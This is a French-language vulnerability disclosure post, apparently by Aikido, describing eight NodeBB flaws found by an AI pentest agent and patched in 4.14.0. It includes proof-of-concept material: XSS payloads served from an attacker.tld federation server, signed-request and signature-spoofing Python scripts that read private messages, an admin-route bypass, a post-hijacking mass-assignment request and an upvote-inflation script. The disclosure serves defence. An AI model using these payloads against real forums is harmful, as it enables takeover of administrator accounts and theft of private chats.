TL;DR
- Les versions de NodeBB antérieures à 4.14.0 contiennent plusieurs vulnérabilités de haute gravité
- Mettez à jour vers des versions plus récentes pour résoudre les vulnérabilités
- Aikido signalera automatiquement les instances vulnérables
Lors de l'amélioration de notre AI Pentest, nous avons effectué une évaluation en boîte blanche sur NodeBB, un logiciel de forum propulsé par NodeJS. Le résultat ? Huit vulnérabilités de haute gravité qui seraient toutes exploitables sur les instances par défaut de NodeBB. Cela inclut le cross-site scripting (XSS), dont deux nécessitent une interaction avec un serveur Federation personnalisé que l'agent IA a dû configurer lui-même. Une autre affecte pratiquement toutes les entrées sur NodeBB en raison d'une injection de template.
Outre ces problèmes, il y avait des contournements d'autorisation astucieux pour détourner et lire diverses données qui ne devraient pas être publiques. Nous avons expliqué tous les détails techniques intéressants ci-dessous.
Une chose intéressante à propos de ces pentests autonomes est qu'ils terminent leurs tests en quelques heures seulement. Les agents ont eu des idées, ont parcouru le code et ont testé rigoureusement avec l'application réelle pour signaler des découvertes concrètes. Les pentests menés par des humains prennent souvent beaucoup plus de temps, car ils ne peuvent pas multiplier leurs efforts aussi facilement.
Après avoir découvert les vulnérabilités, nous avons rapidement envoyé un rapport aux mainteneurs de NodeBB, qui ont été très rapides à répondre et ont immédiatement commencé à travailler sur des correctifs. Les problèmes ont été corrigés début juillet.
Nous allons aborder les détails techniques des vulnérabilités, en commençant par quelques XSS.
Cross-Site Scripting dans l'icône de profil d'un serveur de fédération personnalisé
Ceci est loin d'être une simple injection XSS réfléchie standard, nécessitant la mise en place d'un serveur personnalisé complet pour répondre avec une charge utile XSS malveillante. Néanmoins, les modèles d'agents que nous utilisons sont très performants en matière de codage, ils peuvent donc naviguer facilement à travers les indirections et coder des serveurs personnalisés pour tester tout type de découverte.
Tout commence avec helpers.common.js, qui contient un grand nombre de concaténations HTML suspectes. Celle sur laquelle nous allons nous concentrer est :
function buildMetaTag(tag) {
const name = tag.name ? 'name="' + tag.name + '" ' : '';
const property = tag.property ? 'property="' + tag.property + '" ' : '';
const content = tag.content ? 'content="' + tag.content.replace(/\n/g, ' ') + '" ' : '';
return '<meta ' + name + property + content + '/>\n\t';
}Dans les header.tpl, chaque metaTags élément est rendu en utilisant la fonction ci-dessus :
{{{each metaTags}}}{function.buildMetaTag}{{{end}}}
Les données utilisateur sont transmises à res.locals directement ici :
if (userData.picture) {
res.locals.metaTags.push(
{
property: 'og:image',
content: userData.picture,
noEscape: true,
},
{
property: 'og:image:url',
content: userData.picture,
noEscape: true,
}
);
}Alors que d'autres propriétés comme userData.fullname sont pré-échappées en convertissant " caractères en ", l'autre propriété userData.picture ne l'est pas (voir accounts/helpers.js). L'URL pour .picture est un fichier téléversé par l'utilisateur qui pointe normalement vers une chaîne de caractères sûre comme :/assets/uploads/profile/uid-3/3-profileavatar-1779885231799.png
Ainsi, même si cette valeur n'est pas correctement échappée comme le fullname, comment la contrôler pour délivrer une chaîne malveillante contenant ">?
L'astuce est que cette URL peut être définie arbitrairement lors de la gestion des profils fédérés. Le concept de fédération ici implique l'interaction avec un réseau décentralisé d'autres instances ayant leurs propres utilisateurs et sujets. Les données sont copiées pratiquement à l'identique, donc si nous pouvons renvoyer des données malveillantes avec une URL qui échappe à la syntaxe HTML citée, nous sommes dedans.
Nous devrons créer un serveur de fédération personnalisé qui répond à /.well-known/webfinger avec une référence à l'utilisateur XSS, puis renvoyer notre charge utile XSS comme icon.url là :
/.well-known/webfinger?resource=acct:xss@attacker.tld:
{
"links": [
{
"href": "https://attacker.tld/ap/actor/xss",
"rel": "self",
"type": "application/activity+json"
}
],
"subject": "acct:xss@attacker.tld"
}/ap/actor/xss:
{
"@context": [
"https://www.w3.org/ns/activitystreams",
"https://w3id.org/security/v1"
],
"icon": {
"mediaType": "image/jpeg",
"type": "Image",
"url": "\"><img src onerror=\"alert(origin)\">"
},
"id": "https://attacker.tld/ap/actor/xss",
"inbox": "https://attacker.tld/ap/inbox/xss",
"preferredUsername": "xss",
"publicKey": {
"id": "https://attacker.tld/ap/actor/xss#main-key",
"owner": "https://attacker.tld/ap/actor/xss",
"publicKeyPem": "dummy"
},
"type": "Person"
}Avec ce serveur écoutant sur attacker.tld, tout ce qu'une victime a à faire est de rechercher un utilisateur sur le domaine malveillant ou de visiter un lien directement vers celui-ci :
https://nodebb.local/user/xss@attacker.tld
Le backend récupère attacker.tld le xss utilisateur sur /.well-known/webfinger, qui référence /ap/actor/xss. Ceci est récupéré, renvoyant la charge utile XSS, qui est rendue directement dans la balise <meta> balise. Avec la "><img> charge utile, cela permet de sortir du HTML et de déclencher une alert(origin) popup avec JavaScript :

Ce problème a été résolu (4c4bf76) en échappant également les informations provenant des sources fédérées.
Cross-Site Scripting dans la vue d'administration des erreurs de fédération
Nous poursuivons sur la lancée de la fédération, car une autre vulnérabilité XSS a été découverte dans le journal d'erreurs destiné aux administrateurs. Il est bon de noter que si seuls les administrateurs peuvent voir ces journaux, tout attaquant non authentifié peut stocker la charge utile. L'exploitation de cette vulnérabilité a nécessité une configuration d'attaquant encore plus complexe que la précédente XSS, mais les agents ont tout de même réussi à la déjouer.
Le point d'injection est simple. À l'intérieur de errors.tpl, le {./id} la variable est intégrée dans le HTML.
<code>{./id}</code>
Bien que cela ne pose pas de problème pour la plupart des configurations de templating, dans NodeBB, la fonctionnalité d'auto-échappement pour Benchpress est explicitement désactivée ici en la remplaçant par une fonction d'identité :
__escape: identity,
};
function identity(str) {
return str;
}NodeBB s'appuie sur l'échappement manuel des variables passées aux templates. Un des endroits où cela est omis est le id des erreurs de fédération. Et comment déclencher une telle erreur, vous demandez-vous ? Nous écrivons un autre serveur de fédération personnalisé, bien sûr, mais cette fois un peu défectueux.
Nous allons d'abord configurer un serveur comme précédemment, mais surtout, générer et servir une clé publique pour la signature des messages.
/actor:
{
"@context": "https://www.w3.org/ns/activitystreams",
"id": "https://attacker.tld/actor",
"type": "Person",
"preferredUsername": "evil",
"inbox": "https://attacker.tld/inbox",
"publicKey": {
"id": "https://attacker.tld/actor#main-key",
"owner": "https://attacker.tld/actor",
"publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2uT/87NAfA4Al+I28ddA\nGT6Uf0FbilviOOR/BDnL44MU03Dfpf8UJCCX4MiJ1nqRNfpytFZWaCLOCPWf5N2S\nbu/o7ThDUUBlXPIa3z/p/xgyKFDyRVIQBrD43fnJwmsZd213NVqd00Nca3nsZ1He\n94yCUV61rrr8wEprnaGV9NLY6shTFO1PJub22QiadLB6hSPaJJ3C8volUZICWFT+\nGnNnIzi1LqG/x2MPvFBVHNY/HKNDp2NCHjZq/9V+kteygihepqw5BjHwC1kvIhGJ\nhPGKc3tguUBdpaba5cv2Uso6glwTqAUq3XYSBq49O7vShPoncK5Yb0LZ593YtV/A\n2wIDAQAB\n-----END PUBLIC KEY-----\n"
}
}Ensuite, ajoutez un /.well-known/webfinger endpoint comme précédemment, qui renvoie n'importe quel compte :
/.well-known/webfinger?resource=acct%3Aevil%40attacker.tld:
{
"subject": "acct:evil@attacker.tld",
"links": [
{
"rel": "self",
"type": "application/activity+json",
"href": "https://attacker.tld/actor"
}
]
}Maintenant que nous avons un serveur à l'adresse attacker.tld avec une clé que nous connaissons, nous pouvons envoyer des mises à jour à NodeBB via le /inbox chemin. Chaque type que nous envoyons est géré par une fonction spécifique dans inbox.js. Le middleware vérifie une signature en utilisant ActivityPub.verify, qui prend essentiellement un ensemble d'attributs de la requête et vérifie qu'ils sont signés par la clé publique du serveur de fédération. Nous avons créé notre propre serveur, donc cette partie est désormais facile.
Pour déclencher une erreur, nous pouvons prendre le premier dans inbox.update:
inbox.update = async (req) => {
const { actor, object } = req.body;
const isPublic = publiclyAddressed([...(object.to || []), ...(object.cc || [])]);
// Origin checking
const actorHostname = new URL(actor).hostname;
const objectHostname = new URL(object.id).hostname;
if (actorHostname !== objectHostname) {
throw new Error('[[error:activitypub.origin-mismatch]]');
}[[error:activitypub.origin-mismatch]] se produit lorsque le actor et object.id de notre requête ne correspondent pas. Nous pouvons facilement forger cela.
Il est important de noter que le id que nous fournissons sera stocké avec l'erreur et, comme nous l'avons appris, est affiché de manière non sécurisée en tant que HTML sur le panneau d'administration. Par conséquent, nous allons le définir comme une charge utile XSS telle que <img src onerror=alert(origin)>.
Le script final ressemble à ceci :
# Craft payload
payload = {
'@context': 'https://www.w3.org/ns/activitystreams',
'id': '<img src onerror=alert(origin)>',
'type': 'Update',
'actor': f'https://attacker.tld/actor',
'object': {
# Different origin than actor to trigger an error path
'id': 'https://nodebb.local/post/1',
'type': 'Note'
},
'to': ['https://www.w3.org/ns/activitystreams#Public']
}
# Build signature
key_id = f'https://attacker.tld/actor#main-key'
inbox_url = 'https://nodebb.local/inbox'
u = urlparse(inbox_url)
date = datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
signed = f'(request-target): post {u.path}\nhost: {u.netloc}\ndate: {date}'
sig = base64.b64encode(priv.sign(signed.encode(), padding.PKCS1v15(), hashes.SHA256())).decode()
headers = {
'Host': u.netloc,
'Date': date,
'Signature': f'keyId="{key_id}",headers="(request-target) host date",signature="{sig}",algorithm="hs2019"',
'Accept': 'application/activity+json',
'Content-Type': 'application/ld+json;profile="https://www.w3.org/ns/activitystreams"',
}
# Send request
r = requests.post(inbox_url, headers=headers, data=json.dumps(payload), timeout=30, verify=False)
print('Status:', r.status_code)
print(r.text[:200])Après l'envoi de cette charge utile, il devrait récupérer le serveur personnalisé de l'attaquant pour vérifier la signature, puis l'acteur référencé. Étant donné que les origines de actor et object.id dans la charge utile diffèrent, une erreur est générée et une entrée est créée dans la page Erreurs de fédération du panneau d'administration.
Lorsqu'un administrateur visite maintenant cette page pour vérifier les erreurs, il est accueilli par une boîte d'alerte JavaScript, car notre malveillant <img> balise a été interprétée comme du vrai HTML entre le <code>:

À partir de là, un attaquant peut prendre le contrôle de toute l'instance NodeBB, car JavaScript peut faire faire n'importe quoi à un administrateur.
Ce problème a été corrigé (16bda6b) en échappant tous les champs affichés dans les erreurs de fédération.
Cross-Site Scripting via injection de modèle de traduction
La dernière vulnérabilité XSS découverte était une autre vulnérabilité intéressante. Elle est liée à la manière dont les modèles sont rendus. Pour renvoyer un corps, NodeBB passe essentiellement par ces deux étapes (définies dans render.js) :
- Rendre le modèle Benchpress avec des variables d'entrée (syntaxe :
{...}) - Interpréter les clés de traduction (syntaxe :
[[...]])
function renderContent(render, tpl, req, res, options) {
return new Promise((resolve, reject) => {
render.call(res, tpl, options, async (err, str) => {
if (err) reject(err);
else resolve(await translate(str, getLang(req, res)));
});
});
}
Nous avons déjà vu ce qui peut mal tourner avec Benchpress dans la vulnérabilité précédente. Maintenant, nous allons nous concentrer sur la translate() fonction, ce qui est crucial se produit après que notre entrée est rendue dans le template.
La vulnérabilité commence déjà ici. Parce que notre entrée a déjà été intégrée dans str au moment où les traductions sont exécutées dessus, si nous pouvons écrire la même [[...]] syntaxe, elle serait interprétée. [ ou ] ne sont pas traités comme des caractères spéciaux par escapeCharMap à l'intérieur de utils.common.js, uniquement &<>"'`= le sont.
En fait, chaque page reflète l'URL dans une <meta property="og:url"> propriété. Nous pouvons injecter une clé de traduction dans cette même propriété pour en voir le résultat. Les clés de traduction sont stockées par namespace, par exemple, topic.json contient "flag-user": "Signaler cet utilisateur". Si nous y faisons référence :
https://nodebb.local/test[[topic:flag-user]]
<meta property="og:url" content="https://nodebb.local/testFlag this user" />
Elle a été interprétée avec succès. Certains messages sont plus complexes et contiennent des placeholders avec %1 et %2, que nous pouvons contrôler via des arguments séparés par des virgules. Par exemple :
"merged-message": "This topic has been merged into <a href=\"%1\">%2</a>"
Quelque chose d'intéressant est sur le point de se produire car la traduction contient " (pour définir le href), tandis que le contexte dans lequel nous l'injectons n'est pas du texte, mais une méta content= attribut, utilisant également des guillemets doubles pour contenir sa valeur.
https://nodebb.local/test[[topic:merged-message,A,B]]
<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="A">B</a>" />
Grâce à la coloration syntaxique, vous pouvez voir que ce qui était la guillemet ouvrante pour href=, est maintenant la guillemet fermante pour content=. Cela signifie qu'à partir de notre A, nous sommes dans un contexte de définition d'attribut et pouvons ajouter n'importe quel attribut à cette balise !
Cependant, si nous remplaçons simplement A avec onerror=alert(), nous constatons un triste spectacle :
<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="onerror=alert()">B</a>" />Bien que l'attribut semble être transmis, le signe égal (=) s'est transformé en =. Vous vous souvenez ? Dans escapeCharMap, le signe égal est considéré comme un caractère spécial et est toujours échappé en HTML dans la sortie. Par conséquent, nous ne pouvons pas ajouter de valeurs aux attributs pour transformer cette injection en XSS.
Tout espoir n'est cependant pas perdu, car le template que nous avons utilisé, merged-message, place notre premier paramètre (A) directement dans le href= de cette <a> balise. En utilisant une javascript: URI, il est toujours possible d'exécuter du JavaScript arbitraire au clic. Il suffit de le faire après notre première échappement de l'attribut en ajoutant une autre balise de template :
https://nodebb.local/test[[topic:merged-message,A,B]][[topic:merged-message,javascript:alert(origin),CLICK%20ME]]
<meta property="og:url" content="http://4.245.3.4:4567/testThis topic has been merged into <a href="A">B</a>This topic has been merged into <a href="alert(origin)">CLICK%20ME</a>" />Visuellement, il y a maintenant un en-tête sur la page avec le texte CLICK%20ME. Lorsque l'on clique dessus, le JavaScript s'exécute et alert(origin) s'affiche :

Nous venons de prouver le PoC sur la réflexion la plus facile à tester, l'URL elle-même. Mais cela fonctionne dans toute sortie générée par NodeBB. Dans l'URL, nous sommes limités aux caractères encodés en URL comme %20. Dans l'endpoint admin-only /flags?quick= endpoint, la valeur de quick est également reflétée, mais est décodée en URL !
Pour finaliser le PoC, nous pouvons le rendre plus réaliste en utilisant des emojis pour ressembler à des icônes officielles, en demandant à l'utilisateur de mettre à jour avec un message « ⚠️ Mise à jour requise » :
https://nodebb.local/flags?quick=]][[topic:merged-message,javascript:alert(origin),%E2%9A%A0%EF%B8%8FUpdate%20required
<span class="filter-label">filter-quick-This topic has been merged into <a href="javascript:alert(origin)">⚠️Update required</a></span>

Encore une fois, cliquer sur le bouton déclencherait du JavaScript arbitraire. C'était la preuve de concept initiale que l'agent a utilisée pour signaler le problème.
La charge utile peut même être stockée dans des publications sur NodeBB, ce qui la rend facilement partageable avec d'autres utilisateurs. Le problème sous-jacent est que tout le contenu rendu passe par une étape de traduction où l'entrée utilisateur peut écrire la même syntaxe.
La résolution de ce problème était plus compliquée. Comme nous l'avons vu, il s'agit davantage d'un problème de conception que d'un bug spécifique. En effet, les traductions se produisent toujours après le rendu du template, et les caractères de traduction sont autorisés dans le template.
La solution naïve serait d'échapper les caractères HTML [ et ] caractères pour s'assurer qu'ils ne soient pas interprétés comme des traductions. Mais il s'avère que certaines fonctionnalités/plugins ont en fait require besoin de pouvoir rendre des séquences de traduction à partir de variables de template. Cela constituerait une modification disruptive.
Pour le correctif initial, NodeBB a tenté d'échapper manuellement chaque endroit où l'entrée utilisateur est reflétée avec translator.escape(). Ce n'est cependant pas complet, ils ont donc investi beaucoup de travail pour refactoriser le système de traduction afin qu'il puisse être auto-échappé, et corriger les fonctionnalités/plugins pour gérer correctement la modification disruptive. Ceci est maintenant implémenté dans la version 4.14.0.
Comme défense supplémentaire, le HTML provenant des fonctions du traducteur est également assaini maintenant, de sorte que même si un attaquant contrôle le texte, il ne peut pas écrire javascript: de hrefs.
Contournement du middleware d'autorisation admin via une page d'accueil personnalisée
C'est une astuce simple mais ingénieuse. Si nous examinons le middleware de NodeBB, nous trouvons cet extrait de code responsable de la gestion de l'autorisation pour les /admin routes à l'intérieur de middleware/admin.js:
middleware.checkPrivileges = helpers.try(async (req, res, next) => {
// Kick out guests, obviously
if (req.uid <= 0) {
return controllers.helpers.notAllowed(req, res);
}
// Otherwise, check for privilege based on page (if not in mapping, deny access)
const path = req.path.replace(/^(\/api)?(\/v3)?\/admin\/?/g, '');
if (path) {
const privilege = privileges.admin.resolve(path);
if (!await privileges.admin.can(privilege, req.uid)) {
return controllers.helpers.notAllowed(req, res);
}
} else {
// If accessing /admin, check for any valid admin privs
const privilegeSet = await privileges.admin.get(req.uid);
if (!Object.values(privilegeSet).some(Boolean)) {
return controllers.helpers.notAllowed(req, res);
}
}Tout semble correct lors de l'inspection initiale. Si privileged.admin.get() ne retourne rien, l'accès est refusé. Le point crucial est que ce middleware est enregistré pour la /admin route avant de qui gère les réécritures de pages d'accueil personnalisées dans routes/index.js:
router.all(`(/+api/admin|/+api/admin/*?${mounts.admin !== 'admin' ? `|/+api/${mounts.admin}|/+api/${mounts.admin}/*?` : ''})`, middleware.authenticateRequest, middleware.ensureLoggedIn, middleware.admin.checkPrivileges);
router.all(`(/+admin|/+admin/*?${mounts.admin !== 'admin' ? `|/+${mounts.admin}|/+${mounts.admin}/*?` : ''})`, middleware.ensureLoggedIn, middleware.applyCSRF, middleware.admin.checkPrivileges);
// handle custom homepage routes
router.use('/', controllers.home.rewrite);Tout utilisateur peut configurer sa page d'accueil pour qu'elle soit réécrite vers une autre URL, c'est une fonctionnalité. Ceci est implémenté par un autre middleware déclenché sur /. En interne, il définit req.url pour refléter la valeur configurée :
async function rewrite(req, res, next) { if (req.path !== '/' && req.path !== '/api/' && req.path !== '/api') {
return next();
}
...
route = await getUserHomeRoute(req.uid, next); parsedUrl = new URL(route, 'http://localhost.com'); const pathname = parsedUrl.pathname.replace(/^\/+/, ''); req.url = req.path + (!req.path.endsWith('/') ? '/' : '') + pathname; ... next(); est appelé pour continuer la recherche de la route réelle, mais à ce stade, après les vérifications du chemin d'administration ont déjà été effectuées.
next()
Cela signifie que si vous définissez votre page d'accueil personnalisée sur /admin, vous verrez le tableau de bord Admin, même en tant que membre régulier. Aucun accès administrateur n'est nécessaire.
La seule chose qui nous "bloque" est un code côté client qui récupère la valeur configurée lorsque vous essayez de l'enregistrer, avant d'envoyer réellement les paramètres au serveur :
$.get(config.relative_path + '/' + settings.homePageCustom, function () {
saveSettings(settings);
}).fail(function () {
alerts.error('[[error:invalid-home-page-route]]');
});Ce contrôle est facilement contourné en envoyant directement une PUT /api/v3/users/:id/settings requête ou en utilisant un point d'arrêt dans le navigateur pour ignorer le contrôle et appeler saveSettings() directement.
Après l'avoir défini à admin/advanced/cache, par exemple, nous pouvons recharger la / page et voir un ensemble d'informations internes destinées aux administrateurs :

Même les API sont accessibles via /api/admin, cependant, la plupart des API pour réellement modifier des données passent par /api/v3/admin. Ce sont les routes "d'écriture", et elles comportent des contrôles de privilèges supplémentaires à l'intérieur du gestionnaire de chaque route. Elles ne sont donc pas vulnérables à cette attaque.
Néanmoins, cela entraîne une exposition/modification significative de données :
GET /api/admin/users/csv: Obtenir l'export CSV de tous les utilisateurs s'il existe. Les colonnes dépendent de ce que le dernier export administrateur a choisiGET /api/admin/advanced/errors: Lire tous les journaux d'erreursPOST /api/admin/manage/categories: Ajouter une catégorie distante à la liste de la barre latéralePOST /api/admin/uploadlogo: Mettre à jour le logo du site
Ce problème a été corrigé (9885f94) en réorganisant le middleware pour exécuter les vérifications de permissions après la réécriture.
Usurpation d'ID utilisateur pour lire les messages privés
Afin de communiquer avec d'autres réseaux sociaux, NodeBB implémente ActivityPub, qui est un protocole permettant de partager des utilisateurs/contenus entre les instances. Cela est rendu cryptographiquement sécurisé en attribuant à chaque utilisateur une clé publique avec laquelle il peut signer des actions. Dans les requêtes, un Signature : en-tête est ajouté avec des attributs tels que keyId et signature.
Le ActivityPub.verify fonction les valide correctement :
ActivityPub.verify = async (req) => {
...
let { keyId, headers, signature, algorithm, created, expires } = req.headers.signature.split(',').reduce((memo, cur) => {
const split = cur.split('="');
const key = split.shift();
const value = split.join('="');
memo[key] = value.slice(0, -1);
return memo;
}, {});
const signed_string = headers.split(' ').reduce((memo, cur) => {
... }, []).join('\n');
const publicKeyPem = await ActivityPub.fetchPublicKey(keyId);
return await verifyAsync('sha256', Buffer.from(signed_string), publicKeyPem, Buffer.from(signature, 'base64'));
Si nous examinons où cette fonction est utilisée, nous ne voyons sa place que dans le activitypub.js middleware ici :
middleware.verify = async function (req, res, next) {
// Verifies the HTTP Signature if present (required for POST)
const passthrough = [/\/actor/, /\/uid\/\d+/];
if (req.method === 'GET' && passthrough.some(regex => regex.test(req.path))) {
return next();
}
if (req.method === 'POST') {
const verified = await activitypub.verify(req); if (!verified) {
return res.sendStatus(400);
}
}
if (req.headers.signature) {
const keyId = req.headers.signature.split(',').filter(line => line.startsWith('keyId="'));
if (keyId.length) {
req.uid = keyId.shift().slice(7, -1).replace(/#.*$/, '');Il est intéressant de noter qu'il ne s'exécute que activitypub.verify(req) si la req.method === 'POST'! Les requêtes GET n'ont pas leur signature vérifiée pour une raison quelconque. Quels endpoints pouvons-nous atteindre avec cela ?
Il n'y a vraiment qu'un seul endpoint qui utilise req.uid pour l'authentification, et c'est GET /message/:mid. middleware/assert.js nous lisons :
!(await messaging.canViewMessage(req.params.mid, roomId || req.params.roomId, req.uid))
Ce point de terminaison récupère les messages privés de req.params.mid:
Actors.message = async function (req, res) {
...
const messageObj = await messaging.getMessageFields(req.params.mid, []);
messageObj.content = await messaging.parse(messageObj.content, messageObj.fromuid, 0, messageObj.roomId, false);
const payload = await activitypub.mocks.notes.private({ messageObj });
res.status(200).json(payload);
};Nous avons maintenant une vue d'ensemble complète. L' Signature : en-tête n'est vérifié que pour les requêtes POST, donc le GET /message/:mid point de terminaison ne vérifie pas l' keyId= attribut. Avec cela, nous pouvons usurper l'identité de n'importe qui et divulguer les ID de message incrémentiels un par un pour compromettre complètement les chats privés.
# Fetch all users
users = requests.get(f'{HOST}/api/users', timeout=10).json().get('users', [])
users = [(u['uid'], u.get('username', '?')) for u in users]
print(f'Found {len(users)} users')
# Fetch all message IDs for each user
for mid in tqdm(range(1, 80)):
for uid, name in users:
headers = {
'Accept': 'application/activity+json',
'Signature': f'keyId="{uid}"',
}
r = requests.get(f'{HOST}/message/{mid}', headers=headers, timeout=10)
if r.ok:
j = r.json()
content = j.get("content", "")[:80].strip()
tqdm.write(f'Impersonating {name} ({uid}) -> message {mid}: {content}')Ce problème a été corrigé (f6b5cd8) en ne définissant que req.uid dans une branche de code où activitypub.verify() a déjà vérifié l'en-tête Signature.
Détournement de publications avec l'affectation de masse de pid
Avec tous ces corps JSON, vous êtes susceptible de rencontrer des bugs d'affectation de masse, c'est donc ce que l'agent a recherché ensuite. Si vous n'êtes pas familier avec ce type de bug, il s'agit d'ajouter des champs internes à votre requête pour les écraser sans que l'application web ne le prévoie.
Cela se produit souvent lorsqu'un corps de requête entier est analysé et inséré dans la base de données. Y a-t-il des schémas similaires dans cette base de code ?
Ici, dans l' POST /api/v3/topics, point de terminaison, nous lisons :
Topics.create = async (req, res) => {
const id = await lockPosting(req, '[[error:already-posting]]');
try {
const payload = await api.topics.create(req, req.body);Cela fait exactement ce que nous recherchons, en passant req.body dans topicsAPI.create(). Son implémentation appelle ensuite Posts.create qui fait confiance au data.pid:
const pid = data.pid || await db.incrObjectField('global', 'nextPid');
let postData = { pid, uid, tid, content, sourceContent, timestamp };Le pid la propriété est l'ID de la publication, unique, de sorte que toute publication peut être consultée via ce numéro. Notez que c'est légèrement différent d'un sujet, car un sujet peut contenir plusieurs publications (réponses).
La toute première publication sur n'importe quel NodeBB est toujours un message « Bienvenue sur votre NodeBB ! » de l'administrateur :

Son ID est toujours 1, et les nouvelles publications s'incrémentent à partir de là. Que se passerait-il si nous créions une new publication qui a également pid: 1? Essayons !
POST /api/v3/topics HTTP/1.1
Host: nodebb.local
x-csrf-token: 77a...65b
Cookie: express.sid=s%3A...
Content-Length: 133
Content-Type: application/json
{
"title": "title",
"content": "OVERWRITTEN BY ATTACKER",
"cid": 2,
"tags": [],
"thumbs": [],
"timestamp": 0,
"pid": 1
}En revenant sur la publication de bienvenue :

Nous avons détourné la publication ! Mais le contenu ne semble pas encore mis à jour. Cependant, comme nous en sommes maintenant propriétaires, nous pouvons simplement l'éditer et le sauvegarder à nouveau pour réellement mettre à jour le contenu :

L'URL est toujours la même, et quiconque revient sur cette publication verra le nouveau contenu de l'attaquant. Combiné à un compte similaire, cela peut être très puissant pour empoisonner une partie du contenu, comme modifier des commandes malveillantes à copier dans un tutoriel.
Ce problème a été corrigé (7f08fb9) en supprimant la pid propriété du corps de la requête, de sorte qu'il ne peut plus écraser le champ interne.
Lire toutes les catégories sans authentification
This might be the easiest vulnerability in this post. It can be summarized as one sentence: "/category/{cid}/outbox is missing authorization when ActivityPub accept header is set".
C'est vraiment aussi simple que cela. La route /category/:cid/outbox est gérée par la fonction suivante, qui n'effectue pas de vérifications d'autorisation, mais renvoie tous les sujets d'une certaine catégorie (y compris les privés), référencés par un cid.
Controller.getCategoryOutbox = async (req, res) => {
const { cid } = req.params;
const { page } = req.query;
const set = `cid:${cid}:pids`;
const count = await db.sortedSetCard(set);
const collection = await activitypub.helpers.generateCollection({
set,
count,
page,
perPage: 20,
url: `${nconf.get('url')}/category/${cid}/outbox`,
});
...
res.status(200).json({
'@context': 'https://www.w3.org/ns/activitystreams',
...collection,
});
};
Une simple requête GET vers /category/2/outbox avec un en-tête Accept: application/activity+json pour déclencher ActivityPub renvoie une liste non filtrée de toutes les publications sous cet ID de catégorie. Voici une catégorie privée que nous avons créée et à laquelle seuls les administrateurs ont accès :

Sans authentification, le contenu suivant peut être récupéré :
{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "OrderedCollection",
"totalItems": 2,
"orderedItems": [
{
"object": {
"object": {
...
"name": "secret content",
"url": "https://nodebb.local/post/2",
"content": "<p>SUPER SECRET CONTENT</p>\n"
}}},
{
"object": {
"object": {
...
"inReplyTo": "http://4.245.3.4:4567/post/2",
"name": "secret content",
"url": "https://nodebb.local/post/3",
"content": "<p>replies too!</p>\n"
}
Ce problème a été corrigé (8e98325) en ajoutant une topics:read vérification de permission à la route outbox.
Inflation des upvotes par un acteur non vérifié
Ce dernier point est plus anecdotique, mais pourrait être exploité pour du spam ou de la manipulation. L'un des agents a trouvé un moyen de 'upvoter' un post à l'infini ! (En parlant d'infini… Découvrez Aikido Infinite le pentest continu ! ;) )
Il existe 2 façons de 'upvoter' un post ("Like" dans ActivityPub) :
- Directement via
/inboxou/uid/:uid/inbox, vérifié avec le keyId de la Signature - Intégré dans un message "Announce" via
/category/:cid/inbox
Dans un tel message, vous fournissez un actor qui représente la personne ayant effectué l'action. Le middleware autorise cet acteur avec le keyId, spécifiquement le req.body.actor champ :
middleware.assertPayload = helpers.try(async function (req, res, next) {
...
let { actor } = req.body;
const { hostname } = new URL(actor);
const allowed = await activitypub.instances.isAllowed(hostname);
await activitypub.actors.assert(actor);
let compare = await db.getObjectsFields([
`userRemote:${actor}:keys`, `categoryRemote:${actor}:keys`,
], ['id']);
compare = compare.reduce(...).replace(/#[\w-]+$/, '');
if (compare !== keyId) {
return res.sendStatus(403);
}Cela fonctionne très bien pour le premier endpoint, car sa actor propriété doit être vérifiée. Voici un exemple de message :
{
"id": "https://nodebb.local/uid/42#activity/like/3",
"type": "Like",
"actor": "https://nodebb.local/uid/42",
"to": ["https://www.w3.org/ns/activitystreams#Public"],
"cc": ["https://nodebb.local/uid/7"],
"object": "https://nodebb.local/post/3"
}Cependant, le format d'un message "Announce" est différent, le Like actor est intégré dans un objet:
{
"id": "https://nodebb.local/post/3#activity/announce/1717234567890",
"type": "Announce",
"actor": "https://nodebb.local/category/1",
"to": ["https://nodebb.local/category/1/followers"],
"cc": [
"https://nodebb.local/uid/42",
"https://www.w3.org/ns/activitystreams#Public"
],
"object": {
"id": "https://nodebb.local/uid/42#activity/like/3",
"type": "Like",
"actor": "https://nodebb.local/uid/42",
"to": ["https://www.w3.org/ns/activitystreams#Public"],
"cc": ["https://nodebb.local/uid/7"],
"object": "https://nodebb.local/post/3"
}
}Parce que les deux utilisent le même assertPayload middleware, la deuxième méthode utilisant le format « Announce » n'est pas vérifié. Le actor peut être n'importe quelle chaîne de caractères unique et aléatoire pour agir comme un nouvel utilisateur. Ici, le Like type d'objet est reconnu et utilise directement object.actor dans posts.upvote():
case object.type === 'Like': {
const id = object.object.id || object.object;
const { id: localId } = await activitypub.helpers.resolveLocalId(id);
const exists = await posts.exists(localId || id);
if (exists) {
try {
await activitypub.actors.assert(object.actor);
const result = await posts.upvote(localId || id, object.actor);Un attaquant peut envoyer des requêtes de manière répétée pour augmenter progressivement le nombre de votes positifs sur une publication, avec des milliers par minute, afin de gonfler complètement sa fiabilité.
POST_ID = 1 # Target post
payload = {
'id': str(uuid.uuid4()),
'type': 'Announce',
'actor': 'https://nodebb.local/uid/999',
'object': {
'id': f'https://nodebb.local/object/{uuid.uuid4()}',
'type': 'Like',
'actor': f'https://nodebb.local/fake-{uuid.uuid4()}',
'object': f'https://nodebb.local/post/{POST_ID}'
}
}
headers = {'Content-Type': 'application/activity+json',
'Signature': 'keyId=""'}
r = requests.post('https://nodebb.local/category/1/inbox',
headers=headers, json=payload)
Ce problème a été corrigé (8e98325) en vérifiant toujours l'en-tête Signature pour les requêtes POST.
Conclusion
Avec l'essor de l'IA, la vitesse des pentests ne cesse d'augmenter. Vous pouvez soudainement embaucher un groupe de 400 petits pentesters pour examiner votre application pour le prix d'un pentest classique. Les développeurs peuvent continuer à livrer du code rapidement tandis que les agents de pentest IA suivent le rythme et testent les nouvelles fonctionnalités pour détecter les problèmes de sécurité, même les plus petits et les plus complexes. Chez Aikido, nous proposons des AutoFixes et des retests faciles pour aider à corriger les vulnérabilités identifiées.
